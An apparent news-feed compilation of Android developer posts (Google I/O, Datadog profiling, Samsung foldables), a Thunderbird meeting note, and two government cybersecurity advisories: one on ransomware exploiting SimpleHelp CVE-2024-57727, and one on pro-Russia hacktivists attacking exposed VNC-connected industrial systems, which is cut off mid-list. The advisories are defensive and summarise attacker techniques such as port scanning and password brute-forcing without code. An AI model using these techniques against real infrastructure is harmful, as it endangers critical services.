Today's updates from Google Play help expand your reach and scale your business with less complexity. We’re redefining Play Store discovery with an immersive, short-form video format called Play Shorts, while expanding your audience beyond the store with app discovery in the Gemini app on Android and web. Plus, we’re introducing powerful new capabilities like agentic catalog management for seamless bulk price and SKU updates, and using Gemini models to enable Play Console to pre-populate store listings from imported documents—making global localization effortless.

Gemini will provide users with app suggestions during a search

17: And of course, Android 17

Android 17 includes new performance & system architecture improvements (in addition to app memory limits) like a lock-free MessageQueue and a GC with more frequent, less intensive young-generation collections to ensure system-wide stability and smoother UIs. The new contact picker and eyedropper API help minimize the use of sensitive permissions and unnecessary access to user data.

Review the behavior changes to make sure your app is ready for Android 17, including background audio hardening and SMS OTP protection. Get ready to target Android 17 (API 37) with changes such as mandatory large-screen resizability, certificate transparency by default, and restricted local network access. You can start testing today by enrolling your device in the Beta or using the latest 17.0 emulator images.

One more thing. the third beta of our Android 17 quarterly platform release (QPR1) just came out, and it contains a minor SDK release to support a few features that just couldn't wait for QPR2.

Check out all of the Android & Play Content at Google I/O

This was just a preview of some of the updates for Android developers at Google I/O. Tune into What’s New in Android for the latest news and announcements and follow Google I/O for much more over the following week!

Building Premium Android Experiences at Google I/O ‘26

Sat, 25 Jul 2026 10:15:42 +0200

Posted by Ataul Munim, Android Developer Relations Engineer

A truly differentiated Android experience is about delivering premium delight wherever your users are. At Google I/O ‘26, we showcased how the latest advancements in the Android ecosystem can help you elevate your app's quality while maximizing development efficiency.

To help you build apps that stand out, we're diving into the key tools and libraries designed to optimize your core performance, extend the surfaces of your app to other devices, and streamline how your app handles high-quality media.

Here is a recap of the essential updates and sessions you need to know to deliver a next-level experience across form factors!

Maximize app performance and ROI with the R8 Configuration Analyzer

A premium experience is only as good as its foundation, and a performant foundation is what allows your app to scale across the Android ecosystem. This is especially true with the release of Android 17, which introduces conservative, device RAM-based app memory limits to target extreme memory leaks and outliers before they cause system-wide instability. To stay below these new system thresholds and prevent your app from being terminated, having a lean footprint is no longer optional: it’s a critical requirement.

This year, we’re making it easier to build highly optimized, fast apps by introducing the R8 Configuration Analyzer in Android Studio. R8 is your most powerful tool for improving app performance, but its effectiveness is often limited by overly broad "keep rules" that prevent the compiler from stripping away unused code. The new Configuration Analyzer provides optimization, obfuscation, and shrinking scores, allowing you to identify specific rules that are preventing the benefits of R8 optimization.

By optimizing their R8 configurations, developers at Monzo achieved a 30% improvement in cold starts and a 35% reduction in ANRs. Smaller, faster code isn't just about efficiency; it's about ensuring your app has the memory headroom to deliver delight on every form factor, from the phone to the car.

Extend your reach with a unified approach to Widgets on Phones, Watches and Cars

User interaction is shifting toward quick, glanceable moments—short bursts of information that keep users connected without needing to open the full app. To help you increase the reach of your app content, we are unifying the development experience across the Android ecosystem with Jetpack Glance. By using a consistent, Compose-based model, you can elevate the content most important to your users straight to the phone’s home screen, Wear Widgets (previously Tiles!), and cars with a familiar workflow.

In order to help users engage with your content and features, even outside your app, we are making widgets more expressive and adaptive with RemoteCompose. On Wear OS, RemoteCompose allows you to use the Compose tools you’re already comfortable with to define UI logic that renders natively on remote surfaces, ensuring that your glanceable experiences remain highly performant and responsive even on resource-constrained hardware. On mobile and cars, RemoteCompose is used as a new framework giving Widgets new expressive capabilities.

You can use Jetpack Glance (together with RemoteCompose on Wear) to deliver a cohesive user journey. Whether it’s viewing flight status on the car dashboard, checking a gate change on a watch, or managing a boarding pass from a phone widget, this shared approach maximizes your app’s presence while keeping your development effort focused and efficient.

Supercharge your media pipeline with a complete, production-ready toolkit

Android has become a world-class home for the entire media lifecycle, and we are simplifying the journey from the first capture to the final playback. By leveraging Jetpack CameraX and Media3, you can build professional-grade experiences that feel native across the entire ecosystem.

It starts with high-fidelity capture using the CameraXViewfinder Composable, which ensures your preview remains perfectly scaled and responsive on any form factor, including foldables and tablets. Use this to build adaptive capture experiences like a picture-in-picture view for multi-tasking, or that take advantage of modern features like high-frame-rate or slow-motion capture with CameraX v1.5.

The new Media3 AI Effects library will provide a unified interface for premium features like Image & Video Enhance, Magic Eraser, and Studio Sound. This allows you to focus on the creative intent while Media3 handles the heavy lifting of choosing the most efficient and reliable path for the device. Then, use the latest improvements in multi-asset editing with Media3 Transformer to composite your edited videos together!

Complete the pipeline with tools designed for professional-grade export and viewing, including:

CodecDB, which offers data-driven encoding recommendations tailored to specific chipsets, ensuring your exported videos maintain high visual quality with minimal noise or blurriness
Scrubbing Mode in ExoPlayer to provide the buttery-smooth seeking experience users expect from premium media apps
Enhanced Cast support with the new CastPlayer API in Media3

By unifying these technical pillars, you can build a cohesive, high-performance media journey that delivers both delight for your users and high ROI for your development team.

For more details, check out the premium Android experience YouTube playlist.

Datadog delivers millions of in-depth performance insights with ProfilingManager

Sat, 25 Jul 2026 10:15:39 +0200

Posted by Alice Yuan, Developer Relations Engineer at Google, Arti Arutiunov, Product Manager at Datadog and Nikita Ogorodnikov, Staff Software Engineer at Datadog

Performance regressions are notoriously hard to reproduce, making regressions a massive bottleneck for mobile developers. Although signals like ANR rates indicate what issues occur in production, pinpointing the specific line of code that resulted in the performance issue has historically necessitated exhaustive manual reproduction or speculative trial-and-error experimentation.

Datadog collaborated with Google to mitigate this frustration by integrating the ProfilingManager API (available on Android 15+ devices) into its Real User Monitoring (RUM) and Continuous Profiling platforms. This integration transforms the debugging workflow, allowing developers to move beyond surface-level symptoms to being able to detect the why behind a performance bottleneck.

By leveraging this system-level API, Datadog now processes millions of production profiles weekly across the globe according to Datadog internal data of June 2026. It provides engineering teams with a new level of visibility into real-world performance, all while maintaining a low runtime overhead for production-scale performance monitoring.

The impact of ProfilingManager

ProfilingManager is a system service introduced in Android 15 that enables apps to programmatically collect performance data such as call stack samples, field traces and memory heap dumps directly from production environments. This capability shifts the engineering paradigm from reactive manual reproduction to proactive field analysis.

For example, a Google communications app used field traces to investigate why its cold start times were slower on newer, more powerful hardware. By diving into the field-collected traces and comparing traces across different device types, the engineer discovered a hidden scheduling issue: a background text-to-speech service was unnecessarily being prewarmed during app startup. The traces revealed that this background process was monopolizing the device's highest-performing big CPU core, forcing the app's main thread to sleep while the prewarm occurred.

Solving the Android code-level visibility challenge

Prior to the implementation of ProfilingManager, Datadog’s Real User Monitoring (RUM) focused on high-level application health and session-level telemetry to assess the user journey. Engineering teams could monitor Android performance signals like time to initial display, ANR rates, CPU load, and frozen frames. These insights extended to granular interactions, such as network latency, touch events, and main thread hangs. However, while this data effectively highlighted which performance bottlenecks were surfacing in the field, it provided no clear path to identifying the root cause of these failures.

To address this, Datadog needed a profiling engine capable of capturing Android traces directly from devices in production with minimal performance impact. After evaluating alternative approaches, such as writing their own trace processor using Android Debug APIs, the team selected ProfilingManager because it is the most performant solution of the profiling options they evaluated and offloads the sampling decisions overhead to the OS.

ProfilingManager supports a wide range of collection methods, including CPU traces, call stack sampling, memory analysis through Java heap dumps and native heap profiles. It enables developers to profile production builds, upload trace files to external storage, and review them in the Perfetto trace analyzer UI. As a SaaS provider, Datadog uploads, visualizes, and analyzes these profiles collected via its SDK, providing a unified view of application health.

By centralizing high-fidelity telemetry within a unified observability API, ProfilingManager empowers Datadog and its clients to proactively monitor, investigate, and remediate complex Android performance regressions through key technical advantages:

Granular session diagnostics: ProfilingManager enhances debuggability by delivering direct OS-level trace data, overcoming the visibility and alignment challenges typical of custom logging with system services. To dive deeper, developers can download these traces from Datadog to investigate further in visualization tools like the Perfetto UI.
Automated telemetry triggers: By leveraging native system events to initiate trace recordings at key optimization points, Datadog reduces the need to build custom collection logic. While the initial rollout focuses on the APP_FULLY_DRAWN signal, there are already plans to expand this observability to include ANR, OOM, and COLD_START triggers.
Proactive trace snapshots: By interfacing directly with the system-level Perfetto service (traced), ProfilingManager utilizes a proactive background recording model designed to capture unpredictable issues. This ensures that developers receive a precise visualization of the events leading up to a performance anomaly, offering a level of insight that exceeds what is possible through manual instrumentation.
Bottleneck detection at scale: Datadog is able to synthesize telemetry from across Datadog’s global customer base to uncover regressions that only emerge under unique hardware configurations and variable network environments.
System-enforced resource stability: The API leverages sampling trace collection to ensure performance and user experience impacts remain unnoticeable.
On-device data controls: ProfilingManager filters out irrelevant information from other processes on-device before the profile is delivered to the app. This minimizes file sizes and ensures that only data relevant to the app's processes is provided.

Processing millions of weekly profiles to optimize real-world apps

An example of Datadog's time to initial display measurement with
stack sampling powered by ProfilingManager

Integrating a system-level profiling API into a global monitoring SDK required solving infrastructure challenges. Because ProfilingManager generates highly detailed performance traces, the Datadog engineering team had to build a pipeline capable of parsing and analyzing these profiles on the server side at scale. Beyond profile collection, Datadog also emphasizes the importance of balancing sampling frequency with collecting enough data to generate meaningful insights about your application. Datadog relies on ProfilingManager’s built-in rate limiting as a critical stability safeguard, preventing excessive telemetry requests from overburdening user devices.

The team has been profiling Datadog's own native Android application and a number of early adopters’ applications for months, gathering millions of profiles to ensure a fast, error-free launch experience and to refine their performance-detection algorithms. Today, the production integration seamlessly scales across a variety of Android devices.

Conclusion

By integrating Android’s ProfilingManager API, Datadog successfully closed the visibility gap between backend systems and mobile client applications for their customers. By processing millions of profiles weekly with negligible device overhead, Datadog equips Android developers with the code-level insights necessary to diagnose complex performance bugs instantly, helping developers build smoother applications and improve their app’s performance signals in the Play Store. To adopt the ProfilingManager API directly into your performance observability framework, check out our documentation.

In the future, Datadog aims to make Android profiling data a first-class input for coding agents to autonomously resolve performance bottlenecks, closing the feedback loop between detection and remediation. Datadog is working toward making Android profiling broadly accessible to developers.

To get started using the Datadog real user monitoring feature powered by ProfilingManager, visit Datadog Mobile Real User Monitoring.

Optimize your apps for the next generation of Samsung Galaxy devices

Sat, 25 Jul 2026 10:15:16 +0200

Posted by Fahd Imtiaz, Senior Product Manager and Miguel Montemayor, Developer Relations Engineer, Android Developer Experience

Today at Galaxy Unpacked, Samsung unveiled its latest lineup of foldable and wearable devices. For developers, this means that the variety of form factors, screen sizes, and device postures your app needs to support is expanding once again.

With devices like the Galaxy Z Fold8, the ecosystem is expanding to include hardware with a landscape-first natural orientation and a wider aspect ratio in its main display state. Whether a user is unfolding a large display, flipping open a cover screen, or glancing at their wrist, users expect a flawless experience. To help you meet this moment, we’re sharing actionable guidance and new tooling updates to enable you to build adaptively proactively.

Rethink layout architecture for dynamic displays, including ultra-wide foldables

Building for the latest foldables means dropping assumptions about display orientation and size. This is especially true for the Galaxy Z Fold8, which adopts an ultra-wide display, adding to the variety of aspect ratios to account for. Devices with this landscape-first natural orientation show the limitations of hardcoded layout rules when users unfold the device. That’s why we’ve introduced dedicated guidance for building for landscape foldables and trifolds.

To build a responsive UI that handles these physics seamlessly, focus on the following core pillars:

Build fluid, adaptive layouts: Wide aspect ratios and compact vertical heights require fluid UIs that scale responsively. Our updated adaptive design guidance advises considering the window class width first to determine layout changes, then adjusting for height. To let individual components fluidly adapt to the grid, structure your layout using flexible containers that allow your content to automatically wrap, span, and reflow. For design inspiration browse our adaptive sample app and dual-screen design galleries.
Track actual app space: Your app's display space rarely matches the physical device size, especially on an ultra-wide screen during multi-window, split-screen, or multitasking states. Sometimes even the orientations differ. Leverage Window Size Classes using the Jetpack Window Manager library to calculate the exact space your app occupies.

Leverage the latest Jetpack Compose Update: Start by adopting the stable Jetpack Compose April '26 release (Compose BOM version 2026.04.01).Take advantage of the new structural layout tools to manage complex architectures. The new Grid API allows you to define dynamic tracks and column spans without the performance overhead of a lazy list. Pair Grid with the new FlexBox layout API to easily handle multi-axis alignment and dynamic item wrapping. You can also use the new MediaQuery API to adapt your UI to its environment, using conditions to detect signals like device posture, window size, and keyboard types.
Make your app fold aware: Use the Jetpack WindowManager library, which provides an API surface for foldable device window features such as folds and hinges. When your app is fold aware, it can adapt its layout to avoid placing important content in the area of folds or hinges and use folds and hinges as natural separators.
Maintain app continuity: Avoid breaking the user journey when the device configuration shifts. Retain your UI state using ViewModel to ensure smooth transitions when a user folds or unfolds their device.

Ensure seamless camera capture on foldable devices

Camera implementation on foldables brings unique hardware quirks. Moving from a compact outer display to an expanded inner display introduces distinct layout aspect ratios while device rotation remains unchanged. If an app assumes a fixed portrait relationship between the camera sensor and the device layout, the app will likely suffer from sideways, stretched, or cropped previews during these folding transitions.

When optimizing your app's media pipeline, migrate your capture experiences to CameraX using the CameraX migration skill. The library’s PreviewView automatically handles sensor orientation, device rotation, and scaling behind the scenes. This guarantees a clean, stable preview regardless of how the user holds or positions the device. If you are maintaining an existing Camera2 codebase, integrate the CameraViewfinder library to apply these complex aspect ratio and rotation transformations automatically without needing a total architecture overhaul.

Extend glanceable interactions to Wear OS 7

The opportunity to build for this new generation of devices extends right to the wrist. Launching with Wear OS 7, Wear Widgets give you a fresh surface to provide users with instant, glanceable access to their essential updates. You can build these highly expressive experiences using Jetpack Glance and RemoteCompose. Crucially, Widgets built with this framework can now populate multi-widget tiles that were previously reserved for first-party widgets.

Build intelligent features

Gemini intelligence already completes tasks on users’ behalf, and you can experiment with the intelligence system by sharing your apps capabilities.

Samsung’s new foldable devices come with Gemini Nano 4, our latest on-device model. Nano 4 provides support for over 140 languages, better multimodal understanding, and much more. Use ML Kit’s Prompt API with advanced features like structured output and thinking mode to build intelligent features on-device.

Start optimizing today

The tools and frameworks are ready to help you optimize your app for all screen sizes. Begin by exploring our guidance for building adaptive apps to learn more about core adaptive design principles.

To dive deeper, check out our comprehensive YouTube playlist. Finally, ensure your app delivers a flawless, premium experience on the newest form factors by reviewing our dedicated quality guidelines for trifolds and landscape foldables and WearOS.

Unfold the future today!

Design System Governance Committee: January 26, 2026 Meeting

Sat, 25 Jul 2026 10:05:13 +0200

Author: Mozilla Thunderbird - Bewertung: 10x - Views:142

In their first meeting, the Design System Governance Committee, composed of MZLA employees and community members, first reviews the 2026 design roadmap. Then they take a deeper dive into tokens, their role in tying together Thunderbird's many platforms, W3 token standards, and how to document them. This work will make it easier for new design team members and contributors to jump into their work, while providing a more coherent experience from desktop to mobile and beyond.

Ransomware Actors Exploit Unpatched SimpleHelp Remote Monitoring and Management to Compromise Utility Billing Software Provider

Sat, 25 Jul 2026 09:19:52 +0200

Summary

The Cybersecurity and Infrastructure Security Agency (CISA) is releasing this advisory in response to ransomware actors leveraging unpatched instances of a vulnerability in SimpleHelp Remote Monitoring and Management (RMM) to compromise customers of a utility billing software provider. This incident reflects a broader pattern of ransomware actors targeting organizations through unpatched versions of SimpleHelp RMM since January 2025.

SimpleHelp versions 5.5.7 and earlier contain several vulnerabilities, including CVE-2024-57727—a path traversal vulnerability.¹Ransomware actors likely leveraged CVE-2024-57727 to access downstream customers’ unpatched SimpleHelp RMM for disruption of services in double extortion compromises.¹

CISA added CVE-2024-57727 to its Known Exploited Vulnerabilities (KEV) Catalog on Feb. 13, 2025.

CISA urges software vendors, downstream customers, and end users to immediately implement the Mitigations listed in this advisory based on confirmed compromise or risk of compromise.

Download the PDF version of this report:

AA25-163A Ransomware Actors Exploit Unpatched SimpleHelp Remote Monitoring and Management to Compromise Utility Billing Software Provider (PDF, 420.49 KB )

Mitigations

CISA recommends organizations implement the mitigations below to respond to emerging ransomware activity exploiting SimpleHelp software. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s CPGs webpage for more information on the CPGs, including additional recommended baseline protections. These mitigations apply to all critical infrastructure organizations.

Vulnerable Third-Party Vendors

If SimpleHelp is embedded or bundled in vendor-owned software or if a third-party service provider leverages SimpleHelp on a downstream customer’s network, then identify the SimpleHelp server version at the top of the file /SimpleHelp/configuration/serverconfig.xml. If version 5.5.7 or prior is found or has been used since January 2025, third-party vendors should:

Isolate the SimpleHelp server instance from the internet or stop the server process.
Upgrade immediately to the latest SimpleHelp version in accordance with SimpleHelp’s security vulnerability advisory.²
Contact your downstream customers to direct them to take actions to secure their endpoints and undertake threat hunting actions on their network.

Vulnerable Downstream Customers and End Users

Determine if the system is running an unpatched version of SimpleHelp RMM either directly or embedded in third-party software.

SimpleHelp Endpoints

Determine if an endpoint is running the remote access (RAS) service by checking the following paths depending on the specific environment:

Windows: %APPDATA%\JWrapper-Remote Access
Linux: /opt/JWrapper-Remote Access
MacOs: /Library/Application Support/JWrapper-Remote Access

If RAS installation is present and running, open the serviceconfig.xml file in /JWrapper-Remote Access/JWAppsSharedConfig/ to determine if the registered service is vulnerable. The lines starting with indicate the server addresses where the service is registered.


SimpleHelp Server
Determine the version of any SimpleHelp server by performing an HTTP query against it. Add /allversions (e.g., https://simple-help.com/allversions) to query the URL for the version page. This page will list the running version.
If an unpatched SimpleHelp version 5.5.7 or earlier is confirmed on a system, organizations should conduct threat hunting actions for evidence of compromise and continuously monitor for unusual inbound and outbound traffic from the SimpleHelp server. Note: This is not an exhaustive list of indicators of compromise.

 Refer to SimpleHelp’s guidance to determine compromise and next steps.³
Isolate the SimpleHelp server instance from the internet or stop the server process.
Search for any suspicious or anomalous executables with three alphabetic letter filenames (e.g., aaa.exe, bbb.exe, etc.) with a creation time after January 2025. Additionally, perform host and network vulnerability security scans via reputable scanning services to verify malware is not on the system.
Even if there is no evidence of compromise, users should immediately upgrade to the latest SimpleHelp version in accordance with SimpleHelp’s security vulnerabilities advisory.⁴

If your organization is unable to immediately identify and patch vulnerable versions of SimpleHelp, apply appropriate workarounds. In this circumstance, CISA recommends using other vendor-provided mitigations when available. These non-patching workarounds should not be considered permanent fixes and organizations should apply the appropriate patch as soon as it is made available.
Encrypted Downstream Customers and End Users
If a system has been encrypted by ransomware:

Disconnect the affected system from the internet.
Use clean installation media (e.g., a bootable USD drive or DVD) to reinstall the operating system. Ensure the installation media is free from malware.
Wipe the system and only restore data from a clean backup. Ensure data files are obtained from a protected environment to avoid reintroducing ransomware to the system.

CISA urges you to promptly report ransomware incidents to a local FBI Field Office, FBI’s Internet Crime Compliant Center (IC3), and CISA via CISA’s 24/7 Operations Center (report@cisa.gov or 1-844-Say-CISA).
Proactive Mitigations to Reduce Risk
To reduce opportunities for intrusion and to strengthen response to ransomware activity, CISA recommends customers of vendors and managed service providers (MSPs) implement the following best practices:

Maintain a robust asset inventory and hardware list [CPG 1.A].
Maintain a clean, offline backup of the system to ensure encryption will not occur once reverted. Conduct a daily system backup on a separate, offline device, such as a flash drive or external hard drive. Remove the device from the computer after backup is complete [CPG 2.R].
Do not expose remote services such as Remote Desktop Protocol (RDP) on the web. If these services must be exposed, apply appropriate compensating controls to prevent common forms of abuse and exploitation. Disable unnecessary OS applications and network protocols on internet-facing assets [CPG 2.W].
Conduct a risk analysis for RMM software on the network. If RMM is required, ask third-party vendors what security controls are in place.
Establish and maintain open communication channels with third-party vendors to stay informed about their patch management process.
For software vendors, consider integrating a Software Bill of Materials (SBOM) into products to reduce the amount of time for vulnerability remediation.

An SBOM is a formal record of components used to build software. SBOMs enhance supply chain risk management by quickly identifying and avoiding known vulnerabilities, identifying security requirements, and managing mitigations for vulnerabilities. For more information, see CISA’s SBOM page.



Resources

Health-ISAC:Threat Bulletin: SimpleHelp RMM Software Leveraged in Exploitation Attempt to Breach Networks
Arctic Wolf: Arctic Wolf Observes Campaign Exploiting SimpleHelp RMM Software for Initial Access
CISA: #StopRansomware Guide

Reporting
Your organization has no obligation to respond or provide information back to FBI in response to this advisory. If, after reviewing the information provided, your organization decides to provide information to FBI, reporting must be consistent with applicable state and federal laws.
FBI is interested in any information that can be shared, to include boundary logs showing communication to and from foreign IP addresses, a sample ransom note, communications with threat actors, Bitcoin wallet information, decryptor files, and/or a benign sample of an encrypted file.
Additional details of interest include a targeted company point of contact, status and scope of infection, estimated loss, operational impact, transaction IDs, date of infection, date detected, initial attack vector, and host- and network-based indicators.
CISA and FBI do not encourage paying ransom as payment does not guarantee victim files will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Regardless of whether you or your organization have decided to pay the ransom, FBI and CISA urge you to promptly report ransomware incidents to FBI’s Internet Crime Complain Center (IC3), a local FBI Field Office, or CISA via the agency’s Incident Reporting System or its 24/7 Operations Center (report@cisa.gov) or by calling 1-844-Say-CISA (1-844-729-2472).
SimpleHelp users or vendors can contact support@simple-help.com for assistance with queries or concerns.
Disclaimer
The information in this report is being provided “as is” for informational purposes only. CISA does not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favor by CISA.
Version History
June 12, 2025: Initial version.
Notes
1. Anthony Bradshaw, et. al., “DragonForce Actors Target SimpleHelp Vulnerabilities to Attack MSP, Customers,” Sophos News, May 27, 2025, https://news.sophos.com/en-us/2025/05/27/dragonforce-actors-target-simplehelp-vulnerabilities-to-attack-msp-customers/.
2. For instructions for upgrading to the latest version of SimpleHelp, see SimpleHelp’s security vulnerability advisory.
3. To determine possibility of compromise and next steps, see SimpleHelp’s guidance.
4. For instructions for upgrading to the latest version of SimpleHelp, see SimpleHelp’s security vulnerability advisory.

Pro-Russia Hacktivists Conduct Opportunistic Attacks Against US and Global Critical Infrastructure
Sat, 25 Jul 2026 09:15:46 +0200
Summary
Note: This joint Cybersecurity Advisory is being published as an addition to the Cybersecurity and Infrastructure Security Agency (CISA) May 6, 2025, joint fact sheet Primary Mitigations to Reduce Cyber Threats to Operational Technology and European Cybercrime Centre’s (EC3) Operation Eastwood, in which CISA, Federal Bureau of Investigation (FBI), Department of Energy (DOE), Environmental Protection Agency (EPA), and EC3 shared information about cyber incidents affecting the operational technology (OT) and industrial control systems (ICS) of critical infrastructure entities in the United States and globally.
FBI, CISA, National Security Agency (NSA), and the following partners—hereafter referred to as “the authoring organizations”—are releasing this joint advisory on the targeting of critical infrastructure by pro-Russia hacktivists:

U.S. Department of Energy (DOE)
U.S. Environmental Protection Agency (EPA)
U.S. Department of Defense Cyber Crime Center (DC3)
Europol European Cybercrime Centre (EC3)
EUROJUST – European Union Agency for Criminal Justice Cooperation
Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)
Canadian Centre for Cyber Security (Cyber Centre)
Canadian Security Intelligence Service (CSIS)
Czech Republic Military Intelligence (VZ)
Czech Republic National Cyber and Information Security Agency (NÚKIB)
Czech Republic National Centre Against Terrorism, Extremism, and Cyber Crime (NCTEKK)
French National Cybercrime Unit – Gendarmerie Nationale (UNC)
French National Jurisdiction for the Fight Against Organized Crime (JUNALCO)
German Federal Office for Information Security (BSI)
Italian State Police (PS)
Latvian State Police (VP)
Lithuanian Criminal Police Bureau (LKPB)
New Zealand National Cyber Security Centre (NCSC-NZ)
Romanian National Police (PR)
Spanish Civil Guard (GC)
Spanish National Police (CNP)
Swedish Polisen (SC3)
United Kingdom National Cyber Security Centre (NCSC-UK)

The authoring organizations assess pro-Russia hacktivist groups are conducting less sophisticated, lower-impact attacks against critical infrastructure entities, compared to advanced persistent threat (APT) groups. These attacks use minimally secured, internet-facing virtual network computing (VNC) connections to infiltrate (or gain access to) OT control devices within critical infrastructure systems. Pro-Russia hacktivist groups—Cyber Army of Russia Reborn (CARR), Z-Pentest, NoName057(16), Sector16, and affiliated groups—are capitalizing on the widespread prevalence of accessible VNC devices to execute attacks against critical infrastructure entities, resulting in varying degrees of impact, including physical damage. Targeted sectors include Water and Wastewater Systems, Food and Agriculture, and Energy.
The authoring organizations encourage critical infrastructure organizations to implement the recommendations in the Mitigations section of this advisory to reduce the likelihood and impact of pro-Russia hacktivist-related incidents. For additional information on Russian state-sponsored malicious cyber activity, see CISA’s Russia Threat Overview and Advisories webpage.
Download the PDF version of this report:

    Pro-Russia Hacktivists Conduct Opportunistic Attacks Against US and Global Critical Infrastructure
    (PDF,       1.53 MB
  )

Background and Development of Pro-Russia Hacktivist Groups
Over the past several years, the authoring organizations have observed pro-Russia hacktivist groups conducting cyber operations against numerous organizations and critical infrastructure sectors worldwide. The escalation of the Russia-Ukraine conflict in 2022 significantly increased the number of these pro-Russia groups. Consisting of individuals who support Russia’s agenda but lack direct governmental ties, most of these groups target Ukrainian and allied infrastructure. However, among the increasing number of groups, some appear to have associations with the Russian state through direct or indirect support.
Cyber Army of Russia Reborn
The authoring organizations assess that the Russian General Staff Main Intelligence Directorate (GRU) Main Center for Special Technologies (GTsST) military unit 74455—tracked in the cybersecurity community under several names (see Appendix B: Additional Designators Used for Cited Groups)—is likely responsible for supporting the creation of CARR —also known as “The People’s Cyber Army of Russia”—in late February or early March of 2022. Actors suspected to be from GRU unit 74455 likely funded the tools CARR threat actors used to conduct distributed denial-of-service (DDoS) attacks through at least September 2024.
In April 2022, the group began using a new Telegram channel featuring the name “CyberArmyofRussia_Reborn” to organize and plan group actions. The channel creators recruited actors to use CARR as an unattributable platform for conducting cyber activities beneath the level of an APT, aimed at deterring anti-Russia rhetoric. CARR threat actors presented themselves as a group of pro-Russia hacktivists supporting Russia’s stance on the Ukrainian conflict, and they soon began claiming responsibility for DDoS attacks against the U.S. and Europe for supporting Ukraine.
CARR documented these actions through embellished images and videos shared on their social media channels, promoting Russian ideology, disseminating talking points, and publicizing leaked information from hacks attributed to Russian state threat actors.
In late 2023, CARR expanded their operations to include attacks on industrial control systems (ICS), claiming an intrusion against a European wastewater treatment facility in October 2023. In November 2023, CARR targeted human-machine interface (HMI) devices, claiming intrusions at two U.S. dairy farms.
The authoring organizations assess that by late September 2024, CARR channel administrators became dissatisfied with the level of support and funding provided by the GRU. This dissatisfaction led CARR administrators and an administrator from another hacktivist group, NoName057(16), to create the Z-Pentest group, employing the same tactics, techniques, and procedures (TTPs) as CARR but separate from GRU involvement.
NoName057(16)
The authoring organizations assess that the Center for the Study and Network Monitoring of the Youth Environment (CISM), established on behalf of the Kremlin, created NoName057(16) as a covert project within the organization. Senior executives and employees within CISM developed and customized the NoName057(16) proprietary DDoS tool DDoSia, paid for the group’s network infrastructure, served as administrators on NoName057(16) Telegram channels, and selected DDoS targets.
Active since March 2022, NoName057(16) has conducted frequent DDoS attacks against government and private sector entities in North Atlantic Treaty Organization (NATO) member states and other European countries perceived as hostile to Russian geopolitical interests. The group operates primarily through Telegram channels and used GitHub, alongside various websites and repositories, to host DDoSia and share materials and TTPs with their followers. 
In 2024, NoName057(16) began collaborating closely with other pro-Russia hacktivist groups, operating a joint chat with CARR by mid-2024. In July 2024, NoName057(16) jointly claimed responsibility with CARR for an alleged intrusion against OT assets in the U.S. The high degree of cooperation with CARR likely contributed to the formation of Z-Pentest, which is composed of actors and administrators from both teams, in September 2024.
Z-Pentest
Established in September 2024, Z-Pentest is composed of members from CARR and NoName057(16). The group specializes in OT intrusion operations targeting globally dispersed critical infrastructure entities. Additionally, the group uses “hack and leak” operations and defacement attacks to draw attention to their pro-Russia messaging. Unlike other pro-Russia hacktivist groups, Z-Pentest largely avoids DDoS activities, claiming OT intrusions as attempts to garner more attention from the media.
Shortly after Z-Pentest’s inception, the group announced alliances with CARR and NoName057(16), possibly to leverage the other groups’ subscribers to grow the new channel. In March 2025, Z-Pentest posted evidence claiming OT device intrusions to their channel using a NoName057(16) cyberattack campaign hashtag. Similarly, in April 2025, Z-Pentest shared a video purporting defacement of an HMI by changing system names to NoName057(16) and CARR references. Z-Pentest continues to create new alliances with other groups, like Sector16, to continue growing their subscriber base and incidentally propagate TTPs with new partners.
Sector16
Formed in January 2025, Sector16 is a novice pro-Russia hacktivist group that emerged through collaboration with Z-Pentest. Sector16 actively maintains an online presence, including a public Telegram channel where they share videos, statements, and claims of compromising U.S. energy infrastructure. These communications often align with pro-Russia narratives and reflect their self-proclaimed support for Russian geopolitical objectives.
Members of Sector16 may have received indirect support from the Russian government in exchange for conducting specific cyber operations that further Russian strategic goals. This aligns with broader Russian cyber strategies that involve leveraging non-state threat actors for certain cyber activities, adding a layer of deniability.
Technical Details
Note: This advisory uses the MITRE ATT&CK^® Matrix for Enterprise framework, version 18. See the MITRE ATT&CK Tactics and Techniques section of this advisory for a table of the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques.
TTP Overview
Pro-Russia hacktivist groups employ easily disseminated and replicated TTPs across various entities, increasing the likelihood of widespread adoption and escalating the frequency of intrusions. These groups have limited capabilities, frequently misunderstanding the processes they aim to disrupt. Their apparent low level of technical knowledge results in haphazard attacks where actors intend to cause physical damage but cannot accurately anticipate actual impact. Despite these limitations, the authoring organizations have observed these groups willfully cause actual harm to vulnerable critical infrastructure.
Pro-Russia hacktivist groups use the TTPs in this Cybersecurity Advisory to target virtual network computing (VNC)-connected HMI devices. These groups are primarily seeking notoriety with their actions. While they have caused damage in some instances, they regularly make false or exaggerated claims about their attacks on critical infrastructure to garner more attention. They frequently misrepresent their capabilities and the impacts of their actions, portraying minor incursions as significant breaches, but such incursions can still lead to lost time and resources for operators remediating systems.
Additionally, pro-Russia hacktivists use an opportunistic targeting methodology. They leverage superficial criteria, such as victim availability and existing vulnerabilities, rather than focusing on strategically significant entities. Their lack of strategic focus can lead to a broad array of targets, ranging from water treatment facilities to oil well systems. Pro-Russia hacktivists have demonstrated a pattern of frequently taking advantage of the widespread availability of vulnerable VNC connections. While system owners typically use VNC connections for legitimate remote system access functions, threat actors can maliciously use these connections to broadly target numerous platforms and services. Consequently, these groups can indiscriminately compromise critical infrastructure entities, including those in the Water and Wastewater, Food and Agriculture, and Energy Sectors.
Pro-Russia hacktivist groups have successfully targeted supervisory control and data acquisition (SCADA) networks using basic methods, and in some cases, performed simultaneous DDoS attacks against targeted networks to facilitate SCADA intrusions. As recently as April 2025, threat actors used the following unsophisticated TTPs to access networks and conduct SCADA intrusions:

Scan for vulnerable devices on the internet [T0883] with open VNC ports [T1595.002].
Initiate temporary virtual private server (VPS) [T1583.003] to execute password brute force software.
